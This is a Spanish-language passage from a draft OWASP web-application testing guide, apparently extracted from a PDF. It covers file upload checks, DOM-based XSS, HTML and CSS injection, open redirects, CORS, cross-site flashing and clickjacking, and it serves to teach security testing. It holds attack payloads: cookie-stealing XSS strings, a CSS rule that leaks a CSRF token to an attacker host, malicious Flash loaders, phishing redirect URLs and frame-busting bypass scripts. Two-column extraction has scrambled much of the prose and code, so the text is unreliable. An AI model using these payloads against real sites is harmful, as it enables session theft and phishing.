Pruebe el manejo de archivos de extensiones en busca de informacin
sensible (OTG-CONFIG-003)
Cmo probar File upload security best practices: Block a malicious file
stackoverflow.com
cwe.mitre.org
Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Remediacin
Prepare una biblioteca de archivos "no aprobados" para la carga que puede Las aplicaciones se deben desarrollar con mecanismos para que slo acepte y
contener archivos tales como: archivos jsp, exe o html que contienen scripts. manipule archivos "aceptables" que el resto de funcionalidades de la
aplicacin estn listas y esperando. Algunos ejemplos especficos incluyen:
listas negras o blancas de extensiones de archivo, utilizando el "Content-
Type" del encabezado o usando un reconocedor de tipo de archivo, todo esto
slo permitir tipos de archivo especficos en el sistema.
Resumen
Desarrolle o consiga un archivo "malicioso" conocido.
Bastantes procesos de negocio dentro de muchas aplicaciones permiten la
carga de informacin. Regularmente verificamos la validez y seguridad del
texto, pero el aceptar archivos puede implicar an ms riesgo. Para reducir el
riesgo slo podemos aceptar determinadas extensiones de archivo, pero los Trate de cargar el archivo malicioso al sistema/aplicacin y verifique si se
atacantes son capaces de encapsular un cdigo malicioso en tipos de archivo lo rechaza correctamente.
inerte. Probar en busca de archivos maliciosos verifica que el
sistema/aplicacin es capaz de protegerse correctamente contra la carga de
archivos maliciosos por parte de los atacantes.
Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
infosecauditor.wordpress.com
Herramientas
Intercepting proxy
Referencias
Aunque las salvaguardias como las listas negra o blanca de las extensiones
de archivo, que utilizan el "Content-Type" como encabezado o que usan un
Why File Upload Forms are a Major Security Threat: reconocedor de tipo de archivo no sean siempre protecciones contra este tipo
de vulnerabilidad, cada aplicacin que acepta archivos de usuarios debe tener
www.acunetix.com un mecanismo para verificar que el archivo no contiene un cdigo malicioso.
Nunca deben guardarse archivos donde los usuarios o los atacantes pueden
acceder directamente a ellos.
ejemplo, para limitar a los scripts de dominios distintos el obtener las navegador, este se ejecuta directamente en el navegador del usuario sin contacto del
cookies de sesin desde otros dominios. Una vulnerabilidad XSS basada en servidor.
DOM ocurre cuando se modifica el contenido activo, como una funcin de
JavaScript; se modifica con una solicitud especialmente diseada, tal como
un elemento DOM que puede ser controlado por un atacante.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como
las vistas en formas ms conocidas de XSS, incluyendo la recuperacin de la
cookie, inyeccin de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe con la misma importancia.
muy poca estandarizacin de su significado y pruebas formales.
</script> Entradas escritas en la pgina por el servidor, de una manera que no permite XSS
directo.
Aunque hay poca diferencia con el cdigo JavaScript en cmo se recuperan, es </script>
importante tener en cuenta que cuando la entrada es recibida por el servidor, el
servidor puede aplicar cualquier permutacin a los datos que desea, mientras que
las permutaciones realizadas por objetos de JavaScript son bastante claras y
documentadas y, si es as, someFunction en el ejemplo anterior fuera un sink, Por esta razn, las pruebas automatizadas no detectarn las reas susceptibles a XSS
entonces la explotabilidad del primero dependera de la filtracin realizada por el basado en DOM, a menos que la herramienta de prueba pueda realizar un anlisis
servidor, mientras que el segundo dependera de la codificacin realizada por el adicional del cdigo del lado cliente.
explorador en el objeto window.referer.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando
Stefano Di Paulo ha escrito un excelente artculo sobre lo que los navegadores las reas en el cdigo donde se conocen los parmetros que pueden ser utiles para un
devuelven cuando se les pregunta por los distintos elementos de una direccin URL atacante. Los ejemplos de estas zonas incluyen lugares donde el cdigo est escrito
que utiliza los atributos del documento. y la ubicacin. Adems, JavaScript se dinmicamente a la pgina y en otros lugares donde el DOM se modifica, o incluso donde
ejecuta a menudo fuera de bloques <script>, segn lo evidenciado por los muchos los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artculo
vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al de DOM XSS por Amit Klein, al que se hace referencia al final de esta seccin.
rastrear la aplicacin, es importante tener en cuenta el uso de scripts en lugares
como controladores de eventos y bloques CSS con atributos de expresin. Tambin
tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrn que
evaluarse para determinar qu cdigo est ejecutndose. Una prueba automatizada Referencias
tiene muy poco xito en la identificacin y validacin de XSS basado en DOM,
que generalmente identifica XSS al enviar una carga especfica y observar la Recursos OWASP
respuesta del servidor. Esto puede funcionar bien en el ejemplo simple
proporcionado a continuacin, donde el parmetro de mensaje se refleja de vuelta DOM based XSS Prevention Cheat Sheet
al usuario:
<script>
Libros Blancos
var pos=document.URL.indexOf(message=)+5;
Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length));
</script>
DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial:
<script>
Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent;
else
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgacin de las cookies La pgina contiene los siguientes scripts:
de sesin de un usuario, que podra ser utilizada para suplantar la identidad de la vctima o,
ms generalmente, puede permitir al atacante modificar el contenido de la pgina vista por <script>
la vctima o el comportamiento de la aplicacin.
function loadObj(){
var cc=eval((+aMess+));
Cmo probar
document.getElementById(mess).textContent=cc.message;
Esta vulnerabilidad se produce cuando la aplicacin carece de una validacin adecuada de
entradas y salidas del usuario. JavaScript se utiliza para rellenar dinmicamente las pginas }
web. Esta inyeccin se produce durante esta fase de procesamiento de contenido y, en
consecuencia, afecta a la vctima.
if(window.location.hash.indexOf(message)==-1)
Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres var aMess=({\message\:\Hello User!\});
reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de
DOM XSS. else
var
aMess=location.hash.substr(window.location.hash.indexOf(message=)+8);
El siguiente script no realiza ninguna validacin de la variable rr que contiene la entrada
del usuario a travs de la cadena de consulta y, adems, no se aplica ningn tipo de </script>
codificacin:
El cdigo anterior contiene una fuente 'location.hash' que est controlada por el atacante,
Prueba de Caja Negra quien puede inyectar directamente en el valor de 'mensaje' un cdigo JavaScript para tomar
el control del navegador del usuario.
var rr = location.search.substring(1);
if(rr)
Referencias
window.location=decodeURIComponent(rr);
Recursos OWASP
Esto implica que un atacante podra inyectar cdigo JavaScript simplemente
enviando la siguiente cadena de consulta: DOM based XSS Prevention Cheat Sheet
www.victim.com/?javascript:alert(1)
DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecucin en JavaScript no suele realizarse ya que el acceso
al cdigo fuente siempre est disponible, y necesita ser enviado al cliente para ser Libros Blancos
ejecutado.
Browser location/document URI/URL Sources: codegoogle.com
la identidad de la vctima o, ms comnmente, puede permitir al atacante modificar el aadir una etiqueta de imagen a la pgina que se ejecutar un cdigo JavaScript
contenido de la pgina vista por las vctimas. arbitrario introducido por el usuario malintencionado en el contexto HTML.
Esta vulnerabilidad se produce cuando el ingreso del usuario no est correctamente Las pruebas de Caja Negra mediante inyeccin HTML normalmente no se realizan,
desinfectado y la salida no est codificada. Una inyeccin permite al atacante enviar una puesto que el acceso al cdigo fuente siempre est disponible y necesita ser
pgina HTML maliciosa a una vctima. El navegador de destino no ser capaz de enviado al cliente para su ejecucin.
distinguir (confiar) entre la parte legtima y la maliciosa y, en consecuencia, analiza y
ejecuta todo como confiable en el contexto de la vctima. Hay una amplia gama de
mtodos y atributos que podran ser utilizados para representar el contenido HTML. Si a
estos mtodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, Pruebas de Caja Gris
especficamente una inyeccin HTML. Se puede inyectar un cdigo HTML malicioso,
por ejemplo, mediante innerHTML, que se utiliza para representar el cdigo HTML Probando las vulnerabilidades de inyeccin HTML:
ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema
llevara a una inyeccin HTML basada en XSS. Otro mtodo podra ser document.write() Por ejemplo, mirando el siguiente URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben
un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS.
La propiedad innerHTML establece o devuelve el cdigo HTML interno de un elemento. El cdigo HTML contiene el siguente script:
La falta de desinfeccin en ingresos no confiables y la falta de codificacin en los datos de
salida podra permitir a un atacante inyectar cdigo HTML malintencionado. <script src=../js/jquery-1.7.1.js></script>
<script>
Ejemplo de cdigo vulnerable: El siguiente ejemplo muestra un fragmento de cdigo function setMessage(){
vulnerable que permite que una entrada no validada sea utilizada para crear html dinmico
en el contexto de la pgina: var t=location.hash.slice(1);
var user=location.href.substring(userposition+5); }
$(window).bind(hashchange,setMessage)
http://vulnerable.site/page.html?user=<img%20src=aaa%20onerror=alert(1) </body>
>
Es posible inyectar cdigo HTML. La vctima que visita target.site ser redireccionada automticamente a un
fake-target.site donde un atacante podra colocar una pgina falsa para robar
las credenciales de la vctima.
Referencias
Recursos OWASP Adems, tambin podran utilizarse redireccionamientos abiertos para crear
maliciosamente una URL que evite el control de acceso a la aplicacin y
OWASP DOM based XSS Prevention Cheat Sheet luego enve al atacante hacia funciones privilegiadas a las que normalmente
no debera poder acceder.
DOMXSS.com: domxss.com
Modificando la URL de entrada no confiable para redirigir a un usuario hacia En el ejemplo anterior, la secuencia de comandos no realiza ninguna
un sitio malicioso, un atacante puede lanzar una estafa de phishing con xito y validacin de la variable "redir" que contiene la entrada del usuario a travs de
robar las credenciales del usuario. Ya que la redireccin se origina en la la cadena de consulta y, al mismo tiempo, no se aplica ningn tipo de
aplicacin real, los intentos de phishing pueden tener un aspecto ms codificacin. Esta entrada no validada se pasa a las ventanas. El objeto de
confiable. localizacin origina una vulnerabilidad de redireccin de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente: Esto implica que un atacante podra redirigir a la vctima hacia un sitio
malicioso, simplemente enviando la siguiente cadena de consulta:
http://www.target.site?#redirect=www.fake-target.site
http://www.victim.site/?#www.malicious.site
Resumen
Note como si el cdigo vulnerable es el siguiente: Una vulnerabilidad de inyeccin de CSS implica la capacidad de inyectar
cdigo CSS arbitrario en el contexto de un sitio web de confianza que se
var redir = location.hash.substring(1); mostrar en el navegador de la vctima. El impacto de esta vulnerabilidad
puede variar en funcin de la carga CSS suministrada: podra causar un Cross-
if (redir) Site Scripting en circunstancias particulares, al robar datos realizando una
extraccin de los datos confidenciales o modificaciones de la interfaz del
window.location=decodeURIComponent(redir); usuario.
Tambin sera posible inyectar cdigo JavaScript, por ejemplo, al enviar la Cmo probar
siguiente cadena de consulta:
Esta vulnerabilidad se produce cuando la aplicacin permite a un usuario
http://www.victim.site/?#javascript:alert(document.cookie) suministrar CSS generado por el usuario o, si es posible, de alguna manera,
interferir con las hojas de estilo legtimas. Inyectar cdigo en el contexto CSS
da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones,
as como extraer los valores sensibles a travs de selectores CSS y funciones
Cuando trate de comprobar este tipo de problema, considere que algunos capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de
caracteres reciben un trato diferente en los distintos navegadores. Adem,s personalizar sus propias pginas personales mediante el uso de archivos CSS
siempre considere la posibilidad de probar variantes absolutas de direcciones personalizados resulta un riesgo considerable y se debe evitar definitivamente.
URL como se describe aqu: kotowicz.net
DOMXSS.com: domxss.com
}
</script>
Libros Blancos
www.victim.com/#red;-o-link:javascript:alert(1);-o-link-
Krzysztof Kotowicz: Local or Externa? Weird URL formats on
La misma vulnerabilidad puede aparecer en el caso tpico de reflejo XSS en la Probando las vulnerabilidades de inyeccin CSS
que, por ejemplo, el cdigo PHP se ver como el siguiente:
Se deben llevar a cabo pruebas manuales y analizar el cdigo de JavaScript
<style> para entender si el atacante puede inyectar su propio contenido en el
contexto de la CSS. En particular, debemos estar interesados en cmo el
p{ sitio web devuelve las reglas CSS en funcin de las entradas.
</style> <b>Hi</b>
<script>
<style> El cdigo anterior contiene una fuente "location.hash" que es controlada por
el atacante, quien puede inyectarlo directamente en el atributo "style" de un
input[name=csrf_token][value=^a] { elemento HTML. Como se mencion anteriormente, esto puede llevar a
resultados diferentes basados en el navegador adoptado y la carga
background-image: url(http://attacker/log?a); suministrada.
<b>Hi</b>
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas $(a).click(function(){
de Caja Negra no suelen realizarse ya que el acceso al cdigo fuente siempre
est disponible, y necesita ser enviado al cliente para su ejecucin. Sin $(b).css(color,location.hash.slice(1));
embargo, puede suceder que al usuario se le d un cierto grado de libertad
para poder suministrar cdigo HTML; en ese caso, es necesario comprobar si });
es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben
prohibirse. </script>
dominator.googlecode.com <script>
var d=document.createElement(script);
Got Your Nose! How To Steal Your Precious Data Without if(location.hash.slice(1))
document.body.appendChild(d);
ruxcon.org
alert(document.cookie)
<script>
Cmo probar
function createCORSRequest(method, url) {
}
La siguiente tabla muestra los posibles puntos de inyeccin (sink) que
deberan revisarse:
xhr.send(null);
</script>
http://evil.com/html.html Los puntos ms interesantes son los que permiten a un atacante incluir el
cdigo del cliente (por ejemplo Javascript), ya que esto podra dar lugar a
---- vulnerabilidades XSS.
<?php
header(Access-Control-Allow-Origin: http://www.victim.com); Cuando trate de comprobar este tipo de problema, considere que algunos
caracteres son tratados de manera diferente por diferentes navegadores.
?> Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes
absolutas URL, como se describe aqu: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas
Pruebas de Caja Negra
DOMinator: dominator.mindedsecurity.com
Las pruebas de Caja Negra para la manipulacin de recursos del cliente,
por lo general, no se realizan, ya que el acceso al cdigo fuente est
siempre disponible puesto que tiene que ser enviado al cliente para ser
ejecutado. Referencias
Cmo probar
DOMXSS.com: domxss.com
Origin & Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Este encabezado, como parte de una solicitud previa al mandato, indica Solicitud (note el encabezado de "Origen" :)
que la solicitud definitiva puede incluir las credenciales de usuario.
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
Validacin de entradas
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0)
La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una Gecko/20100101 Firefox/24.0
solicitud entre dominios mediante la API XHR para la compatibilidad en
retrospectiva. Esto puede introducir vulnerabilidades de seguridad que Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en XHR L1 no estaban presentes. Los puntos interesantes del cdigo para
explotar seran las URL que son pasadas a XMLHttpRequest sin Accept-Language: en-US,en;q=0.5
validacin, especialmente si las direcciones absolutas URL son
permitidas, ya que podran conducir a la inyeccin del cdigo. Del mismo Referer: http://example.foo/CORSexample1.html
modo, otras partes de la aplicacin pueden ser explotadas si los datos de
respuesta no se escapan y podemos controlarlos proporcionando los Origin: http://example.foo
datos de entrada dados por el usuario.
Connection: keep-alive
Otros encabezados
Respuesta (note el encabezado Access-Control-Allow-Origin:)
Hay otros encabezados involucrados como el de Access-Control-Max-Age
que determina el tiempo en que una solicitud de verificacin previa HTTP/1.1 200 OK
puede almacenar en cach en el navegador, o el de Access-Control-Expose-
Headers que indica qu encabezados son seguros para exponer a la API Date: Mon, 07 Oct 2013 18:57:53 GMT
de una especificacin API CORS. Ambos son encabezados de respuesta
especificados en el documento del CORS W3C. Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Las pruebas de Caja Negra para encontrar temas relacionados con el Content-Length: 4
intercambio de recursos de origen cruzado, por lo general, no se realizan
debido a que el acceso al cdigo fuente est siempre disponible, ya que Keep-Alive: timeout=15, max=99
tiene que ser enviado al cliente para ser ejecutado.
Connection: Keep-Alive
Content-Type: application/xml
Pruebas de Caja Gris
Revise los encabezados HTTP con el fin de entender cmo se utiliza CORS;
en particular, debemos estar muy interesados en el encabezado de origen [Response Body]
para aprender qu dominios se permiten. Adems, la inspeccin manual
del JavaScript es necesaria para determinar si el cdigo es vulnerable a la
inyeccin de cdigo debido a una manipulacin incorrecta de la entrada
Ejemplo 2: Problema de validacin de entrada, XSS con CORS:
proporcionada por el usuario. A continuacin se presentan algunos
ejemplos:
Este cdigo hace una solicitud al recurso enviado despus del carcter #
en la URL, utilizado inicialmente para obtener recursos en el mismo
servidor.
Ejemplo 1: Respuesta insegura con el comodn '*' en Access-Control-
Allow-Origin:
Cdigo vulnerable:
<script>
http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() {
Por ejemplo, una peticin como sta mostrar el contenido del archivo Solicitud y respuesta generada por esta URL:
profile.php:
GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php
Host: attacker.bar
Referer: http://example.foo/main.php
HTTP/1.1 200 OK
Connection: keep-alive
Date: Mon, 07 Oct 2013 19:00:32 GMT
[Response Body]
Cmo probar
Herramientas
Dado que los archivos SWF son interpretados por una mquina virtual
integrada en el propio reproductor, estos pueden ser potencialmente
ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar descompilados y analizados. El descompilador ms conocido y gratuito de
para encontrar vulnerabilidades en aplicaciones web. Est diseada para ser ActionScript 2.0 es flare.
utilizada por personas con amplia experiencia en seguridad y, como tal, es
ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso
de pruebas de penetracin. ZAP ofrece escneres automatizados, as como
un conjunto de herramientas que le permiten encontrar vulnerabilidades Para descompilar un archivo SWF con flare solo escriba:
de seguridad de forma manual.
$ flare hello.swf
Referencias
lo que dar lugar a un nuevo archivo llamado hello.flr.
Recursos OWASP
Prueba de Cross-site flashing (OTG-CLIENT-008) El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de
desensambladores, descompiladores y otras herramientas de prueba
Resumen relacionadas con Adobe Flash.
codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swfla #initclip
sh.cab#version=9,0,124,0>
if (!_global.Locale) {
<param name=movie value=somefilename.swf>
var v1 = function (on_load) {
<param name=FlashVars value=var1=val1&var2=val2>
var v5 = new XML();
<embed src=somefilename.swf width=550 height=400
FlashVars=var1=val1&var2=val2> var v6 = this;
</object> if (success) {
Las FlashVars tambin se pueden inicializar desde la URL: trace(Locale loaded xml);
var v2 = 0;
En ActionScript 3.0, un desarrollador debe asignar explcitamente los while (v2 < v3.length) {
valores FlashVar a las variables locales. Por lo general, esto se ve como:
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
++v2;
var var1:String = String(paramObj[var1]);
}
var var2:String = String(paramObj[var2]);
on_load();
} else {}
En ActionScript 2.0, cualquier variable global no inicializada se asume
como una variable de Flash. Las variables globales son aquellas variables };
que se anteponen con _root, _global o _level0. Esto significa que si un
atributo como: if (_root.language != undefined) {
};
Independientemente de si usted est viendo ActionScript 2.0 o
ActionScript 3.0, las variables de Flash pueden ser un vector de ataque.
Veamos una parte del cdigo ActionScript 2.0 que es vulnerable:
El cdigo anterior podra ser atacado mediante la solicitud:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo:
loadVariables()
loadMovieNum()
o si un FlashVar se utiliza como el parmetro que se enva a una funcin
FScrollPane.loadScrollContent() navigateToURL:
LoadVars.send navigateToURL(request);
XML.load ( url )
LoadVars.load ( url ) Entonces esto significar que es posible llamar a JavaScript en el mismo
dominio en el que la pelcula est alojada, solicitando:
Sound.loadSound( url , isStreaming );
http://victim/file.swf?URI=javascript:evilcode
NetStream.play( url );
getURL(javascript:evilcode,_self);
flash.external.ExternalInterface.call(_root.callback)
La prueba
getUrl(javascript:function(+_root.arg+))
Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar
alojado en el host de la vctima, y se deben utilizar las tcnicas de XSS
reflejado. Eso obliga al navegador a cargar un archivo SWF puro
asfunction:
directamente en la barra de direcciones (mediante una redireccin o
ingeniera social) o cargndolo a travs de un iframe desde una pgina
Se puede utilizar el protocolo especial asfunction para que el enlace
maligna;
ejecute una funcin ActionScript en un archivo SWF en lugar de abrir una
<iframe src=http://victim/path/to/file.swf></iframe> URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction poda ser
utilizada en cada mtodo que tiene una URL como argumento. Despus de
ese lanzamiento, asfunction se limita al uso dentro de un campo de texto
HTML.
Esto se debe a que en esta situacin el navegador autogenera una pgina
HTML como si fuera invitada por el host de la vctima.
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
309
Guia de pruebas 4.0 "Borrador"
Esto significa que un evaluador podra intentar inyectar: As que, si alguna parte del texto puede ser controlada por el evaluador,
una etiqueta A o una etiqueta IMG podra inyectarse, lo que resultara en
asfunction:getURL,javascript:evilcode la modificacin de la GUI o del uso de XSS en el navegador.
en cada mtodo inseguro como: Algunos ejemplos de ataque con una etiqueta A:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
Desde el punto de vista de seguridad, podra ser objeto de abuso si parte La etiqueta IMG podra ser utilizada tambin:
de su argumento puede ser controlado:
<img src=http://evil/evil.swf >
flash.external.ExternalInterface.call(_root.callback);
<img src=javascript:evilcode//.swf > (.swf is necessary to bypass flash
player internal filter)
El patrn de ataque para este tipo de defecto podra ser algo como lo
siguiente:
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS
eval(evilcode) ya no es explotable, pero la modificacin GUI todava se puede lograr.
ya que el JavaScript interno ejecutado por el navegador ser algo como: Cross-Site Flashing
eval(try { __flash__toXML(+__root.callback+) ; } catch (e) { El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto
<undefined/>; }) similar a XSS.
Inyeccin HTML
Los objetos de campo de texto pueden hacer un HTML mnimo El XSF se produce desde diferentes dominios:
estableciendo:
Una pelcula carga otra pelcula con la funcin loadMovie * o con otros
tf.html = true hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = <tag>text</tag>
Esto podra llevarse a cabo forzando a un SWF defectuoso a cargar un Desde mayo de 2007, tres nuevas versiones de Flash Player fueron
archivo flash malicioso externo. Este ataque podra resultar en XSS o en la lanzadas al mercado por Adobe. Cada nueva versin restringe algunos de
modificacin de la interfaz grfica del usuario, con el fin de engaarlo los ataques descritos anteriormente.
para que inserte sus credenciales en un formulario flash falso. El XSF
podra ser utilizado en presencia de una inyeccin de Flash HTML o de
archivos SWF externos cuando se utilicen mtodos loadMovie *.
Redirectores abiertos
Herramientas
En el caso de Flash, la URL maliciosa podra verse como: Adobe SWF Investigator: labs.adobe.com
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-
spoofing-website.org/phishEndUsers.html
SWFScan: downloadcrew.com
Este tipo de ataque, que puede ser utilizado solo o en combinacin con
Debugger Version of Flash Plugin/Player: adobe.com otros ataques, podra potencialmente enviar comandos no autorizados o
revelar informacin confidencial mientras la vctima est interactuando
con pginas web aparentemente inofensivas. El trmino "clickjacking" fue
acuado por Jeremiah Grossman y Robert Hansen en 2008.
Referencias
OWASP
Un ataque de clickjacking utiliza caractersticas aparentemente inocuas
Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP
de HTML y Javascript para obligar a la vctima a realizar acciones no
Flash tiene incluso ms referencias que las que se enumeran a
deseadas tales como hacer clic en un botn que parece realizar otra
continuacin:
operacin. Se trata de un problema de seguridad "del lado del cliente",
que afecta a una gran variedad de navegadores y plataformas
owasp.org
Para llevar a cabo este tipo de tcnica, el atacante tiene que crear una
Libros Blancos
pgina web aparentemente inofensiva que cargue la aplicacin al objetivo
de destino, mediante el uso de un iframe (convenientemente oculto
Testing Flash Applications: A new attack vector for XSS
mediante el uso de cdigo CSS).
and XSFlashing: owasp.org
adobe.com
Resumen
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
312
Guia de pruebas 4.0 "Borrador"
Una vez que la vctima navega en la pgina web ficticia, piensa que est <html>
interactuando con la interfaz de usuario visible, pero efectivamente est
llevando a cabo acciones en la pgina oculta. <head>
Debido a que la pgina oculta es una pgina autntica, el atacante puede </head>
engaar a los usuarios para realizar acciones que nunca tuvieron la
intencin de hacer a travs de un posicionamiento "ad hoc" de los <body>
elementos de la pgina web.
<p>Website is vulnerable to clickjacking!</p>
</body>
</html>
Los mtodos para proteger una pgina web del clickjacking se pueden
Tenemos que descubrir si el sitio web que estamos probando no tiene dividir en dos grandes categoras:
ninguna proteccin contra ataques de clickjacking o, si los
desarrolladores han puesto en prctica algunas formas de proteccin, si
estas tcnicas son susceptibles de ser evadidas. Una vez que sabemos que
Proteccin del lado del cliente: Frame Busting
el sitio web es vulnerable, podemos crear una "prueba de concepto" para
explotar la vulnerabilidad.
Proteccin del lado del servidor: X-Frame-Options
Proteccin del lado del clente: Frame Busting convierte en una violacin de la seguridad en todos los navegadores
populares debido a la poltica de navegacin de marco descendiente.
El mtodo ms comn del lado del cliente, que ha sido desarrollado para poltica. Esta violacin de seguridad impide la navegacin contra-accin.
proteger a una pgina web del clickjacking, se llama Frame Busting y se
compone de un script o secuencia de comandos en cada pgina, que no El cdigo del sitio de destino del frame busting (sitio de destino):
deben ser enmarcados. El objetivo de esta tcnica es evitar que un sitio
funcione cuando se carga dentro de un marco. if(top.location!=self.locaton) {
parent.location = self.location;
self.parent.location = document.location
Atributo Sandbox: con HTML5 hay un nuevo atributo llamado
parent.location.href = self.location
"sandbox". ste permite un conjunto de restricciones en el contenido
parent.location = self.location cargado en el iframe. Por el momento, este atributo slo es compatible
con Chrome y Safari.
Modo Diseo: Paul Stone mostr un problema de seguridad en relacin pgina 204:
con el "designMode" que puede ser activado en la pgina de referencia (a
travs de document.designMode), desactivando JavaScript en la parte <?php
superior y el sub-marco. Actualmente, el modo de diseo se implementa
en Firefox e Internet Explorer 8. header(HTTP/1.1 204 No Content);
?>
El evento onBeforeUnload
El evento onbeforeunload podra ser utilizado para evadir el cdigo de Pgina del atacante:
frame busting. Este evento sucede cuando el cdigo de frame busting
quiere destruir el iframe cargando la URL en toda la pgina web y no slo <script>
en el iframe. La funcin de controlador devuelve una cadena que se dirige
al usuario para confirmar si quiere salir de la pgina. Cuando se muestra var prevent_bust = 0;
esta cadena al usuario es probablemente para cancelar la navegacin,
derrotando el intento del frame busting en el objetivo. window.onbeforeunload = function() {
prevent_bust++;
} }
</script> }, 1);
La tcnica anterior requiere la interaccin del usuario, pero el mismo <iframe src=http://target site>
resultado se puede lograr sin preguntar al usuario. Para ello, el atacante
tiene que cancelar automticamente la solicitud de navegacin de entrada
en un controlador de eventos onbeforeunload, presentando en varias
Filtro XSS
ocasiones (por ejemplo, cada milisegundo) una solicitud de navegacin a
una pgina web que responde a un encabezado "HTTP / 1.1 204 No
A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para
Content".
proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han
observado que este tipo de filtros se puede utilizar para desactivar el
cdigo de frame busting falso como cdigo malicioso.
Ya que con esta respuesta el navegador no va a hacer nada, el resultado
de esta operacin es la descarga de la tubera solicitada, inutilizando el
intento del frame busting.
Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y
los parmetros de respuestas fluyen a travs del navegador web y se los
if ( top != self )
Ejemplo:
Cdigo de ataque:
<script>
<iframe src=http://target site/?param=<script>if>
var location = xyz;
</script>
Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco
diferente en comparacin con el filtro de IE8 XSS. De hecho, con este filtro un <iframe src=http://target site></iframe>
atacante podra desactivar un "guin" que pasa por su cdigo en un parmetro de
la solicitud. Esto permite que la pgina de encuadre se dirija especficamente a un Redefinicin de localizacin en Safari 4.0.4: Para romper el cdigo de
nico fragmento que contiene el cdigo de frame busting, dejando intactos todos frame busting con "top.location", es posible enlazar "localizacin" a una
los dems cdigos. funcin a travs de defineSetter (a travs de la ventana), de manera que
un intento de leer o navegar a la "top.location" producir un error.
</script>
Proteccin del lado del servidor: X-Frame-Options
las pginas web que no deben ser enmarcadas. Este encabezado puede destino permite autenticar y autorizar a los usuarios a realizar una
tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOW- transferencia de dinero a otra cuenta.
FROM origin (permitir desde el origen), o non-standard ALLOWALL (no
estndar permitir todo). El valor recomendado es DENY.
$_SESSION[antiCsrf] = $csrfToken;
$form =
Proxies
<form name=transferForm action=confirm.php method=POST>
Los web proxies son conocidos por aadir y quitar encabezados. En el
caso en el que un web proxy despoje al encabezado "X-Frame-Options", el <div class=box>
sitio pierde su proteccin de enmarcar.
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Versin mvil del sitio web
Do You want to confirm a transfer of <b>.
Tambin en este caso, ya que el encabezado"X-Frame-Options" tiene que $_RE UEST[amount] . </b> to account: <b>. $_RE UEST[account]
ser implementado en todas las pginas del sitio web, los desarrolladores .</b> ?
pueden no haber protegido a la versin mvil de la pgina web.
</p>
<label>
Crear una "prueba de concepto"
<input type=hidden name=amount
Una vez que hemos descubierto que el sitio que estamos probando es value= . $_RE UEST[amount] . />
vulnerable a los ataques de clickjacking, podemos proceder con el
desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. <input type=hidden name=account
Es importante sealar que, como se mencion anteriormente, estos value= . $_RE UEST[account] . />
ataques se pueden utilizar en combinacin con otras formas de ataques
(por ejemplo ataques CSRF) y podran conducir a vencer los tokens anti- <input type=hidden name=antiCsrf
CSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de value= . $csrfToken . />
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
317
Guia de pruebas 4.0 "Borrador"
<input type=submit class=button evadir la proteccin anti-CSRF y obligar a la vctima a hacer una
value=Transfer Money /> transferencia de dinero sin su consentimiento.
</label>
{ <html>
